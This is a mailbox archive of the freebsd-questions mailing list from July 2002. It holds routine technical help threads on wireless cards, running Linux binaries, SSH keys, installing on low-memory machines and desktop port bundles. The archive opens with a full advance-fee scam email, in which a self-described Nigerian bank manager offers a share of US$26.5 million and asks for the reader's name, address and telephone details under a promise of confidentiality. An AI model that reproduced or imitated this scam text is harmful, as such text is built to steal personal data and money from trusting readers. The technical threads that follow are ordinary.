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I therefore made further investigation and discovered that Mr. Barry Kelly 
didnot declare any kin or relations in all his official documents, including 
hisBank Deposit paperwork in my Bank. This sum of US$26,500,000.00
has carefully been moved out of my bank to a security company for safe 
keeping.

No one will ever come forward to claim it. According to Nigerian Law, at 
theexpiration of 5 (five) years, the money will revert to the
ownership of theNigerian Government if  nobody applies to claim the fund.

Consequently, my proposal is that I will like you as an Foreigner to stand 
inas the owner of the money I deposited it in a security company in
two trunkboxes though the security company does not know the contents of the 
boxesasI tagged them to be photographic materials for export. I am
writing youbecause I as a public servant (Manager with the bank), i cannot 
operate aforeign account or have an account that is more than $1m.

I want to present you as the owner of the boxes in the security company so 
youcan be able to claim them with the help of my attorney. This is
simple. I willlike you to provide immediately your full names and address so 
that the Attorney will prepare the necessary documents which will put you in 
place as the as the owner of the boxes.

The money will be moved out for us to share in the ratio of 70% for me and 
30%for you. There is no risk at all as all the paperwork for this
transactionwill be done by the Attorney and this will guarantees the 
successful executionof this transaction.

If you are interested, please reply immediately via my email address: 
cadams@post.com

Upon your response, I shall then provide you with more details and 
relevantdocuments that will helpyou understand the transaction.

Please observe utmost confidentiality, and restassured that this transaction 
would be most profitable for both of us becauseI shall require  your 
assistance to invest my share in your country.(Buying of properties like 
houses, hotels etc)

Please do send me your private/mobile telephone fax number so that we can have 
a smooth communication.

Awaiting your urgent reply via my email.

Thanks and regards.

Dr.Chuks Adams
Bank Manager,
Zenith Bank International Plc.

---------------------------------------------------
Get Your Free Email at http://www.hknetmail.com


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From owner-freebsd-questions  Sun Jul 28 19:22:32 2002
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Ol=E1,

Voc=EA pertence a um ou mais grupos de e-mail do Yahoo! Grupos=20
(br.groups.yahoo.com). Os e-mails destes grupos podem ser reconhecidos
procurando-se pelo nome de um grupo no campo "assunto", como [donos de
bichos de estima=E7=E3o] ou [f=E3s de m=FAsica].

Recentemente, mensagens enviadas a voc=EA pelo Yahoo! Gruposretornaram, poi=
s n=E3o puderam ser recebidas. Para evitar problemas com
o seu servi=E7o de e-mail, n=F3s desligamos sua conta do Yahoo! Grupostempo=
rariamente.

Se voc=EA est=E1 lendo esta mensagem agora, o problema com o recebimento
parece ter sido resolvido. No entanto, n=F3s n=E3o saberemos que o
problema est=E1 resolvido at=E9 que voc=EA nos diga.

Para reativar sua conta no Yahoo! Grupos:

- Por favor, clique RESPONDER e nos envie esta resposta de volta sem altera=
r nada.

OU

- Enquanto estiver conectado =E0 Internet, clique no link abaixo (ou
  copie e cole o mesmo em seu navegador):

  http://br.groups.yahoo.com/unbounce?adj=3D112955273,46294&p=3D1027904430=
=20

Uma vez que tenhamos a sua resposta, n=F3s ligaremos sua conta do=20
Yahoo! Grupos novamente e voc=EA come=E7ar=E1 a receber mensagens de seus
grupos de novo.

Ap=F3s sua resposta, voc=EA poder=E1 ler as mensagens que porventura tenha
perdido enquanto sua conta estava desligada em:

   http://br.groups.yahoo.com/mygroups

Obrigado por usar o Yahoo! Grupos!


Atendimento ao usu=E1rio Yahoo! Grupos
O uso do Yahoo! Grupos =E9 sujeito aos termos de servi=E7o contidos em http=
://br.yahoo.com/info/utos.html=20


=20




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it's possible I try to help you in FreeBSD development?
How can I do this?
Please I want to enter FreeBSD Develop team =3D)
thanks and sorry my english=20

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From owner-freebsd-questions  Sun Jul 28 20:26: 3 2002
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Date: Thu, 28 Mar 2002 23:17:16 +0000
From: "Philip M. Gollucci" <philip@p6m7g8.com>
Subject: Oronico Wireless ethernet card on FBSD4.6
To: freebsd-questions@FreeBSD.org
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Hi, please CC me on the response, as I am temporarily not subscribed to 
the list.

I've installed FBSD4.6 from the RELEASE CD's.

I'm using the GENERIC kernel until I can get this working which worked 
with FBSD4.5 also from CD.
If/When I do use a custom kernel, I've kept the following from GENERIC

device card
device pcic0 at isa ? irq 0 port 0x3e0 iomem 0xd0000
device wi

I have a linksys DSL router setup and running DHCP working flawlessly.
I also have a DLink Wireless access point plugged into it.
I've allowed the MAC address of my wireless card on it.

my rc.conf contains
pccard_enable="YES"
pccard_mem="DEFAULT"
pccard_ifconfig="wi0"

I've tried cheating and doing a manual setup instead of DHCP which 
worked with FBSD4.5
(I asked this on the list before, and some gracious sole gave me this 
solution.)

ifconfig wi0 up
wicontrol -i wi0 -q home
ifconfig wi0 192.168.1.xxx 255.255.254.0
route add -net 0.0.0.0 192.168.1.1

NOTE: DHCP and everything else work flawlessly on a win2k dual boot on 
the exact same computer.

Thanks for the help in advance again.

Philip






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From owner-freebsd-questions  Sun Jul 28 20:39:40 2002
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	Hi all.  I found this cool link for booting from a mini-cd into
Linux.  Is this dooable as is, or does it require some modifications for
doing this in Freebsd?  Just curious.  It sounds cool.

http://www.tux.org/~bball/minicd/index.html


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From owner-freebsd-questions  Sun Jul 28 20:53:24 2002
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Greetings,

I have a question about installing and running gnumail using Freebsd 4.5 and
KDE 2.
What mailing list would be appropriate for this?

Thanks
Ray


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From owner-freebsd-questions  Sun Jul 28 21:21:19 2002
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Date: Mon, 29 Jul 2002 13:51:11 +0930
From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: "Philip M. Gollucci" <philip@p6m7g8.com>
Cc: freebsd-questions@FreeBSD.org
Subject: Re: Oronico Wireless ethernet card on FBSD4.6
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On Thursday, 28 March 2002 at 23:17:16 +0000, Philip M. Gollucci wrote:
> I've installed FBSD4.6 from the RELEASE CD's.

Your date must be wrong.

> I'm using the GENERIC kernel until I can get this working which worked
> with FBSD4.5 also from CD.
> If/When I do use a custom kernel, I've kept the following from GENERIC
>
> device card
> device pcic0 at isa ? irq 0 port 0x3e0 iomem 0xd0000
> device wi

You don't need a custom kernel for Orinoco.  The system loads the
if_wi module automatically.

> I have a linksys DSL router setup and running DHCP working flawlessly.
> I also have a DLink Wireless access point plugged into it.
> I've allowed the MAC address of my wireless card on it.
>
> my rc.conf contains
> pccard_enable="YES"
> pccard_mem="DEFAULT"
> pccard_ifconfig="wi0"
>
> I've tried cheating and doing a manual setup instead of DHCP which
> worked with FBSD4.5 (I asked this on the list before, and some
> gracious sole gave me this solution.)

Unfortunately, it's not the best suggestion.

I installed 4.6 on a laptop a couple of days ago and selected enabling
PCMCIA devices during installation, using DHCP.  It worked out of the
box.  In /etc/rc.conf, there are the following relevant entries:

  ifconfig_wi0="DHCP"
  pccard_enable="YES"
  pccard_ifconfig="DHCP"
  pccard_mem="DEFAULT"
  pccardd_flags=""

> NOTE: DHCP and everything else work flawlessly on a win2k dual boot
> on the exact same computer.

Then the entries above should work too.

Greg
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From owner-freebsd-questions  Sun Jul 28 21:32:53 2002
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Date: Sun, 28 Jul 2002 14:33:04 +1000
To: freebsd-questions@freebsd.org
From: Jacob Rhoden <f3z@iprimus.com.au>
Subject: soundmax (intel82801DB) sound card?!$@
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Hi Guys,

I have been trying to get freebsd to recognize my sound card. Its an 
onboard sound card for an intel motherboard - I have read LINT and tried 
almost every combination of config I can think of (legacy vs newpcm and 
that options PNPBIOS thing).

Is this card not supported?

Thanks,
Jacob


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From owner-freebsd-questions  Sun Jul 28 21:54:42 2002
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Subject: Why my no-password authentication does not work
Date: Mon, 29 Jul 2002 12:55:20 -0700
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This is a multi-part message in MIME format.

------=_NextPart_000_0127_01C236FF.323C7AE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hi,

I follow the following steps to set up two linux machines connected with =
non-password authentication, why is it not work?

Could u give me some suggestions?

The non-password authentication is done with keys.  And it's done like =
this.

  a.. Run ssh-keygen on the source machine.   Accept the default values =
for all questions.  Be sure to supply an empty passphrase.  This will =
create two files under .ssh in your home directory.   These files are =
~/.ssh/identity and ~/.ssh/identity.pub.   The first file should not be =
revealed to anyone.   The second file is public and contains your public =
key.=20
  b.. Copy the contents of ~/.ssh/identity.pub to the destination =
machine and place it within ~/.ssh/authorized_keys.  Be sure to name the =
file correctly.=20



Regards,
Fred Zhang

------=_NextPart_000_0127_01C236FF.323C7AE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff><FONT face=3DArial size=3D2>
<P>hi,</P>
<P>I follow the following steps to set up two linux machines connected =
with=20
non-password authentication, why is it not work?</P>
<P>Could u give me some suggestions?</P>
<P>The non-password authentication is done with keys.&nbsp; And it's =
done like=20
this.</P>
<UL>
  <LI>Run <EM>ssh-keygen</EM> on the source machine. &nbsp; Accept the =
default=20
  values for all questions.&nbsp; Be sure to supply an empty =
passphrase.&nbsp;=20
  This will create two files under <KBD>.ssh</KBD> in your home =
directory.=20
  &nbsp; These files are <KBD>~/.ssh/identity</KBD> and=20
  <KBD>~/.ssh/identity.pub</KBD>. &nbsp; The first file should not be =
revealed=20
  to anyone. &nbsp; The second file is public and contains your public =
key.=20
  <LI>Copy the contents of <KBD>~/.ssh/identity.pub</KBD> to the =
destination=20
  machine and place it within <KBD>~/.ssh/authorized_keys</KBD>.&nbsp; =
Be sure=20
  to name the file correctly. </LI></UL>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>Regards,</DIV>
<DIV>Fred Zhang</DIV></FONT></BODY></HTML>

------=_NextPart_000_0127_01C236FF.323C7AE0--


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From owner-freebsd-questions  Sun Jul 28 21:58:27 2002
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I am trying to run the "run-cyc.sh" program from the OpenCyc 0.6.0b
distribution for (Intel-based) Linux.  When I try the command, I get:

   ELF binary type "0" not known.
   Abort trap

Using file(1) on the binary that the script runs, I get:

   ELF 32-bit LSB executable, Intel 80386, version 1, statically 
linked, stripped

I am running FreeBSD 4.5 and I _did_ ask for the Linux option when I installed
the system.  This is the first Linux application that I've ever tried to run
under it, however, and I may well need to do something else.  Looking at the
man pages (eg, apropos linux), however, I don't see anything...

Suggestions?

-r
-- 
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From owner-freebsd-questions  Sun Jul 28 22: 6:44 2002
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Hello:

I would like to know how do I get involved with FreeBSD Development?  

Thank you.

Scott


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From owner-freebsd-questions  Sun Jul 28 22:22: 5 2002
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* User (sfoster5@socal.rr.com) [020728 22:07]:
> Hello:
> 
> I would like to know how do I get involved with FreeBSD Development?  
> 
> Thank you.
> 
> Scott

Its simple really Scott. Start writing code, and if it belongs in the CVS
tree, submit it to a comitter for approval. If it belongs in ports, become a
port maintainer. Also be sure to have at least a cursory familiarity with
http://www.freebsd.org/doc/en_US.ISO8859-1/books/developers-handbook/index.html

Regards,

-- 
Benjamin Krueger

"Life is far too important a thing ever to talk seriously about."
- Oscar Wilde (1854 - 1900)
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From owner-freebsd-questions  Sun Jul 28 23: 9:49 2002
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Date: Sun, 28 Jul 2002 23:09:46 -0700 (PDT)
From: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Subject: Re: Booting from Mini-CD
To: Steven Lake <raiden@shell.core.com>,
	freebsd-questions@FreeBSD.ORG
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well, the most common response you will get around
here is - why?
well, I guess it is cute.

With some judicious trimming, though, it should be
possible. see the recent article
http://www.bsdtoday.com/2002/March/Features646.html
on making s cd-bootable freeBSD - the essentials don't
change for a mini-cd, except that you may need to trim
down the componentry to fit. 80MB is the given figure
in Greg Lehey's book, as a rough guide, but that
doesn't include XWindows.
--- Steven Lake <raiden@shell.core.com> wrote:
> 	Hi all.  I found this cool link for booting from a
> mini-cd into
> Linux.  Is this dooable as is, or does it require
> some modifications for
> doing this in Freebsd?  Just curious.  It sounds
> cool.
> 
> http://www.tux.org/~bball/minicd/index.html
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Sun Jul 28 23:20:52 2002
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this one.

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From owner-freebsd-questions  Sun Jul 28 23:21:26 2002
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this one.

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From owner-freebsd-questions  Sun Jul 28 23:29:28 2002
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Date: Mon, 29 Jul 2002 07:29:17 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Steven Lake <raiden@shell.core.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Booting from Mini-CD
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On Sun, Jul 28, 2002 at 10:39:37PM -0500, Steven Lake wrote:
> 	Hi all.  I found this cool link for booting from a mini-cd into
> Linux.  Is this dooable as is, or does it require some modifications for
> doing this in Freebsd?  Just curious.  It sounds cool.

    http://people.freebsd.org/~picobsd/picobsd.html


	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Sun Jul 28 23:37:30 2002
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Date: Mon, 29 Jul 2002 07:37:13 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Rich Morin <rdm@cfcl.com>
Cc: questions@FreeBSD.ORG
Subject: Re: Running Cyc under FreeBSD (Linux mode)
Message-ID: <20020729063713.GB26847@happy-idiot-talk.infracaninophi>
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On Sun, Jul 28, 2002 at 09:58:21PM -0700, Rich Morin wrote:
> I am trying to run the "run-cyc.sh" program from the OpenCyc 0.6.0b
> distribution for (Intel-based) Linux.  When I try the command, I get:
> 
>   ELF binary type "0" not known.
>   Abort trap
> 
> Using file(1) on the binary that the script runs, I get:
> 
>   ELF 32-bit LSB executable, Intel 80386, version 1, statically 
> linked, stripped

You need to run brandelf(1) on Linux binaries, to tell the system that
they are Linux binaries:

    brandelf -t Linux file

	Cheers

	Matthew

-- 
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                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Sun Jul 28 23:46: 7 2002
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At 7:37 AM +0100 7/29/02, Matthew Seaman wrote:
>You need to run brandelf(1) on Linux binaries, to tell the system that
>they are Linux binaries:
>
>     brandelf -t Linux file

Thanks!  Imagine my not being able to figure that out...

-r
-- 
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From owner-freebsd-questions  Mon Jul 29  0: 3:52 2002
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From: hawkeyd@visi.com (D J Hawkey Jr)
Subject: Re: 'let' syntax in /bin/sh
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In article <20020726221426.21bacb51.ugly_inhuman.org@ns.sol.net>,
	ugly@inhuman.org writes:
> Hello,
> 
> For the life of me I haven't been able to figure out the correct syntax
> for using 'let' in the sh that comes with FreeBSD (4.6-STABLE).
> 
> $ let x=0 
> let: arith: syntax error: "x=0"
> 
> I have tried many other variations, and read through 'man sh', as well
> as searching google.  Could someone point me in the right direction?

The syntax is correct, but the shell isn't. 'let' is a Korn shell (ksh)
keyword.

> Thanks,
> -Andrew

Dave

-- 

Windows: "Where do you want to go today?"
Linux: "Where do you want to go tomorrow?"
FreeBSD: "Are you guys coming, or what?"


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From owner-freebsd-questions  Mon Jul 29  0:10:59 2002
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From: "Ian Barnes" <ian@cerebellum.za.net>
To: <questions@freebsd.org>
Subject: Machine rebooting during Setup
Date: Mon, 29 Jul 2002 09:10:59 +0200
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Hi,

I am trying to setup a 486 DX2 80 with 4meg ram as a gateway to the net.
Since it is so old, i cannot boot from the cd. I created the floppies,
kern.flp and mfsroot.flp, i boot up first with kern.flp and all goes well.
It then asks me for the mfsroot.flp, it will ask me to push enter to boot
the kernel, i do that. Thats when the problem comes in. It just reboots a
couple of seconds after that. For no apparent reason. It has got a 4gig hdd
in, with some old graphics card.

Anyone have any ideas why it could be rebooting itself (maybee i need more
ram??)

Regards
Ian

-------------------------
BOFH - Mom's Pharmacies
Email - ian@cerebellum.za.net
-------------------------


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From owner-freebsd-questions  Mon Jul 29  0:15: 7 2002
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Date: Mon, 29 Jul 2002 08:14:57 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: fred@timogen.com
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Why my no-password authentication does not work
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On Mon, Jul 29, 2002 at 12:55:20PM -0700, fred@timogen.com wrote:

> I follow the following steps to set up two linux machines connected
> with non-password authentication, why is it not work?

What does this have to do with FreeBSD?

> The non-password authentication is done with keys.  And it's done like this.
> 
>   a.. Run ssh-keygen on the source machine.  Accept the default
> values for all questions.  Be sure to supply an empty passphrase.
> This will create two files under .ssh in your home directory.  These
> files are ~/.ssh/identity and ~/.ssh/identity.pub.  The first file
> should not be revealed to anyone.  The second file is public and
> contains your public key.

>   b.. Copy the contents of ~/.ssh/identity.pub to the destination
> machine and place it within ~/.ssh/authorized_keys.  Be sure to name
> the file correctly.

Use 'ssh -v -v -v' to trace what's going on.

Taking an educated guess, identity.pub is a RSA1 key, which only works
with SSHv1.  Unless you're using a truely ancient version of ssh, it's
going to prefer using SSHv2, which means that you should setup RSA or
DSA identity keys.

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Mon Jul 29  0:26:43 2002
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Date: Mon, 29 Jul 2002 08:21:33 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Ian Barnes <ian@cerebellum.za.net>
Cc: questions@FreeBSD.ORG
Subject: Re: Machine rebooting during Setup
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On Mon, Jul 29, 2002 at 09:10:59AM +0200, Ian Barnes wrote:
> I am trying to setup a 486 DX2 80 with 4meg ram as a gateway to the net.
> Since it is so old, i cannot boot from the cd. I created the floppies,
> kern.flp and mfsroot.flp, i boot up first with kern.flp and all goes well.
> It then asks me for the mfsroot.flp, it will ask me to push enter to boot
> the kernel, i do that. Thats when the problem comes in. It just reboots a
> couple of seconds after that. For no apparent reason. It has got a 4gig hdd
> in, with some old graphics card.
> 
> Anyone have any ideas why it could be rebooting itself (maybee i need more
> ram??)

Yes. 4Mb is definitely too little.  You need (I think) at least 8Mb to
run and probably 12Mb nowadays to do the installation.  Once
installed, you should be able run with the smaller amount of RAM, but
you'll need to put quite a lot of effort into tuning the system to run
in such a small amount of memory.

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Mon Jul 29  0:30:17 2002
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I just got 10 messages in my mailbox, and they all look like this:

X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20020729041900.A4FDCFFFE@sparx.pantherdragon.org>
Date: Sun, 28 Jul 2002 21:19:00 -0700 (PDT)

/usr/libexec/atrun
: not found

The only difference between all the messages are the Message-Id's and
the Date strings (they're all one minute apart, from 21:19:00 to
21:28:00).

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From owner-freebsd-questions  Mon Jul 29  0:31: 2 2002
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From: Norbert Augenstein <norbert@augenstein.net>
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Subject: KDE302; chownpty faild for device...
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Hi list,

i get the following message on starting konsole in kde 302, 

konsole: chownpty failed for device /dev/ptyp1::/dev/ttyp1.
       : This means the session can be eavesdroped.
       : Make sure konsole_grantpty is installed in
       : /usr/local/bin/ and setuid root.

konsole_grantpty is installed and setuid root on my system
konsole is running as "user", shouldn't it run as root like xterm 
should i ignore it??

auge

[auge@seth auge]$ uname -a
FreeBSD seth.augenstein.net 4.6-STABLE FreeBSD 4.6-STABLE #0: Fri Jun 28
02:42:52 CEST 2002     root@:/usr/obj/usr/src/sys/AUGE  i386
[auge@seth auge]$ ls -l /var/db/pkg |grep kde
drwxr-xr-x  2 root  wheel      512 Jul  7 09:45 kde-3.0.2
drwxr-xr-x  2 root  wheel      512 Jul  7 07:10 kdebase-3.0.2
drwxr-xr-x  2 root  wheel      512 Jul  7 09:45 kdegames-3.0.2
drwxr-xr-x  2 root  wheel      512 Jul  7 09:45 kdegraphics-3.0.2
drwxr-xr-x  2 root  wheel      512 Jul  6 16:38 kdelibs-3.0.2
drwxr-xr-x  2 root  wheel      512 Jul  7 09:45 kdemultimedia-3.0.2
drwxr-xr-x  2 root  wheel      512 Jul  7 09:45 kdenetwork-3.0.2
drwxr-xr-x  2 root  wheel      512 Jul  7 09:45 kdeutils-3.0.2
[auge@seth auge]$

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From owner-freebsd-questions  Mon Jul 29  1:10:13 2002
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Date: Mon, 29 Jul 2002 01:10:06 -0700 (PDT)
From: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Subject: Re: Machine rebooting during Setup
To: Ian Barnes <ian@cerebellum.za.net>, questions@freebsd.org
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Yes, more ram is req'd. The install required 5mb to
install. You may be better off installing on another
machine. then swapping the disks. A custom kernel
should be done for that machine, and that would be
frustrating on that machine. moer reasons for disk -
swapping.

Get as much memory as you can. if it has 32pin ram,
it's getting beyond usefullness. Certainly don't make
that machine your first experience in freeBSD!

--- Ian Barnes <ian@cerebellum.za.net> wrote:
> Hi,
> 
> I am trying to setup a 486 DX2 80 with 4meg ram as a
> gateway to the net.
> Since it is so old, i cannot boot from the cd. I
> created the floppies,
> kern.flp and mfsroot.flp, i boot up first with
> kern.flp and all goes well.
> It then asks me for the mfsroot.flp, it will ask me
> to push enter to boot
> the kernel, i do that. Thats when the problem comes
> in. It just reboots a
> couple of seconds after that. For no apparent
> reason. It has got a 4gig hdd
> in, with some old graphics card.
> 
> Anyone have any ideas why it could be rebooting
> itself (maybee i need more
> ram??)
> 
> Regards
> Ian
> 
> -------------------------
> BOFH - Mom's Pharmacies
> Email - ian@cerebellum.za.net
> -------------------------
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of
> the message


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From owner-freebsd-questions  Mon Jul 29  1:19:29 2002
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Date: Mon, 29 Jul 2002 09:19:26 +0100 (BST)
From: =?iso-8859-1?q?Oliver=20Humpage?= <suzt_78@yahoo.co.uk>
Subject: formatting 'unused space'
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Cc: oliver@watershed.co.uk
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Sorry, this is an embarrassingly newbie question...

A 20GB disk in my mail server was about to die, so I
did an emergency dd(1) of its contents over to a new
40GB drive. So now, on the new drive, I have a 20GB
partition (with /, /usr and /var on it), and 20GB of
"unused" space.

Is it possible to fdisk (and presumably disklabel)
this spare 20GB? I don't want to do anything fancy
with it, just to have it mounted as /spare_space or
similar. And since this is our main mail server, I
don't really want to wipe the whole disk and restore
from tape...

I couldn't tell from `man fdisk` whether you can
format one partition without wiping the whole drive.
Can you in fact just ask for the unused space to be
"FreeBSD" in sysinstall, and it won't touch your other
partitions? Or if fdisk won't do it, is there anything
that can?

Many thanks,

Oliver.

(Posted from Yahoo!, since our ISP doesn't do reverse
lookup on IPs, and the mailing list rejects me...)

--
Oliver Humpage
ICT Co-ordinator
Watershed Media Centre

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From owner-freebsd-questions  Mon Jul 29  1:20:56 2002
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From: Ganesh Kumar <alganesh@m-net.arbornet.org>
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To: freebsd-questions@freebsd.org
Subject: Hi ! would like to start a BSD group in Chennai,India !
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Hi Folks,
  I work as FreeBSD admin in a company in chennai,India and would like to start a group here exclusively for FreeBSD.There are lots of groups exist,but they are all for Linux.

Initially we have the latest Cds and would like to circulate among friends and organise meetings on relgular intervals at later stage.

I would like to know a few things before that...

* For the mailing list is it a good idea to start with Yahoogroups ? or can anyone suggest me a good list ?

* Will the FreeBSD group point in.freebsd.org to our address at later stage ?


regards
Ganesh Kumar

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From owner-freebsd-questions  Mon Jul 29  1:26:35 2002
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From: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Subject: Re: formatting 'unused space'
To: Oliver Humpage <suzt_78@yahoo.co.uk>,
	freebsd-questions@freebsd.org
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Not a problem. I'm just an embarrising newbie;-)

Ther is a *proper* way to do it, but using sysinstall
is probably easiest.
Yes, it can do this without affecting the rest of the
disk.

--- Oliver Humpage <suzt_78@yahoo.co.uk> wrote:
> 
> Sorry, this is an embarrassingly newbie question...
> 
> A 20GB disk in my mail server was about to die, so I
> did an emergency dd(1) of its contents over to a new
> 40GB drive. So now, on the new drive, I have a 20GB
> partition (with /, /usr and /var on it), and 20GB of
> "unused" space.
> 
> Is it possible to fdisk (and presumably disklabel)
> this spare 20GB? I don't want to do anything fancy
> with it, just to have it mounted as /spare_space or
> similar. And since this is our main mail server, I
> don't really want to wipe the whole disk and restore
> from tape...
> 
> I couldn't tell from `man fdisk` whether you can
> format one partition without wiping the whole drive.
> Can you in fact just ask for the unused space to be
> "FreeBSD" in sysinstall, and it won't touch your
> other
> partitions? Or if fdisk won't do it, is there
> anything
> that can?
> 
> Many thanks,
> 
> Oliver.
> 
> (Posted from Yahoo!, since our ISP doesn't do
> reverse
> lookup on IPs, and the mailing list rejects me...)
> 
> --
> Oliver Humpage
> ICT Co-ordinator
> Watershed Media Centre
> 
> __________________________________________________
> Do You Yahoo!?
> Everything you'll ever need on one web page
> from News and Sport to Email and Music Charts
> http://uk.my.yahoo.com
> 
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> the message


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From owner-freebsd-questions  Mon Jul 29  3:21:30 2002
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Date: Mon, 29 Jul 2002 12:20:59 +0200
From: Roman Neuhauser <neuhauser@bellavista.cz>
To: Greg 'groggy' Lehey <grog@lemis.com>
Cc: FreeBSD LIST <FreeBSD-Questions@FreeBSD.Org>
Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
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> Date: Sun, 28 Jul 2002 12:00:16 +0930
> From: Greg 'groggy' Lehey <grog@lemis.com>
> To: Peter Leftwich <Hostmaster@Video2Video.Com>
> Cc: Michael Wells <mwvw@adelphia.net>,
> 	FreeBSD LIST <FreeBSD-Questions@FreeBSD.Org>
> Subject: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])

> The real problem I have is knowing which of the over 7,000 ports you
> want to install to get "basic" desktop functionality.

    yes. and this is the problem with stuff like your
    instant-workstation port. you can't please everyone, and i dare to
    say that any such thing will only please a tiny minority of people.
    probably the reason you haven't got much feedback on the port.

> Some time ago I created the "instant-workstation" port, but didn't
> make much noise about it.  instant-workstation basically installs a
> number of dependent ports (see below for a list) and then does some
> minor configuration.  Over the past couple of days I've been
> installing a brand new machine (laptop) for a friend, and I've been
> looking at the rough edges.  Here's what I've found:
> 
> 1.  Some of the dependent ports don't build cleanly.  This obviously
>     requires some attention.

    yes. last time i tried (two months ago), netscape port was broken
    (or was it FORBIDDEN for a reason i forgot? dunno)

> 2.  "instant" is a misnomer, at least if you build from source.  I'm
>     building on a Dell Inspiron 7500 with a 600 MHz processor, and it
>     takes over 12 hours.

    as suggested by someone else before, it could use packages where
    possible, but that would make it fall out of the ports system
    pretty much.

> 3.  Once it's built, it works "out of the box".  I've installed the
>     XFree86 4 port, and installation is really nothing more than this:
> 
>     # X -configure
>     # mv /root/XF86Config.new /etc
>     # echo exec kdestart > ~me/.xinitrc
> 
>     You can then run startx or xdm and end up in a relatively complete
>     kde environment.

    this still makes it lag behind most of linux distros in terms of
    "ease of use". the (new) user still has to know to perform these steps.
    note that i don't care. i don't use linux for a reason.
 
> So what's in instant-workstation?  Currently I have:
> 
> 	acroread
> 	bash
> 	cdrecord
> 	dos2unix
> 	emacs
> 	fetchmail
> 	gs
> 	grip
> 	gimp
> 	gv
> 	gpg
> 	ispell
> 	startkde
> 	mkisofs
> 	mount_smbfs
> 	mutt
> 	netscape
> 	xtset
> 	xmms
> 	xv
> 
> My questions to you: is there anything missing?

    inevitably, yes. plus there are things *i* don't use on that list.
    shell, for example. i don't use bash. if you want to make the port
    attractive for me, you have to let me choose my favorite shell.

    if, however, i have to select a shell, i can
    % (cd /usr/ports/shells/chooseone && make install clean)
    just as well. same with the other software.

    repeat with all the other programs on the list.

> Has anybody tried instant-workstation?  I'd be interested in
> suggestions about how to improve it.

    you could perhaps abstract the installed software away into software
    categories similar to the /usr/ports directory:

    which shell do you want to use? (ash bash tcsh ksh zsh):
    which browser do you want to use? (...):

    etc. but one can install the ports the usual way just as well.

    a big boon would be a possibility to configure the ports from here.
    that would probably require a change to the ports system: right now
    you can only tell what knobs a port features by reading the
    Makefile.

-- 
FreeBSD 4.6-STABLE
12:03PM up 12 days, 22:22, 4 users, load averages: 0.00, 0.00, 0.00

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From owner-freebsd-questions  Mon Jul 29  3:31:19 2002
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Dear Sirs,

i have visited your sites concerning the download of FreeBSD OS.
My question is, if there´s a possibility to download the FreeBSD OS
as a full package, because on the Ftp-sites the Download seems to 
be only possible in small parts. Any suggestions where i can get a
full distribution over the internet? I would be grateful if you could
drop me a line.

With kind regards

Kris Hambalko

-- 
GMX - Die Kommunikationsplattform im Internet.
http://www.gmx.net


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From owner-freebsd-questions  Mon Jul 29  3:46:29 2002
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From: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Subject: Re: FreeBSD-Download as full package
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If you want a couple of large downloads, you're after
the ISO images - to burn onto your own disks.
ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/4.6/
(Actually, this was a little difficult to find, if the
web designers are listening)
I downloaded my copy of the first disk over 4 nights.
The servers do support resuming, adn it should be long
enough after the last release for the rush to have
died down.
I should here suggest that it would be better to
purchace the disk from one of the retailers, as they
support freeBSD in return. They'll like me for that.

Robert Backhaus

--- k.hambalko@gmx.de wrote:
> Dear Sirs,
> 
> i have visited your sites concerning the download of
> FreeBSD OS.
> My question is, if there´s a possibility to download
> the FreeBSD OS
> as a full package, because on the Ftp-sites the
> Download seems to 
> be only possible in small parts. Any suggestions
> where i can get a
> full distribution over the internet? I would be
> grateful if you could
> drop me a line.
> 
> With kind regards
> 
> Kris Hambalko
> 
> -- 
> GMX - Die Kommunikationsplattform im Internet.
> http://www.gmx.net
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of
> the message


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From owner-freebsd-questions  Mon Jul 29  4: 9: 7 2002
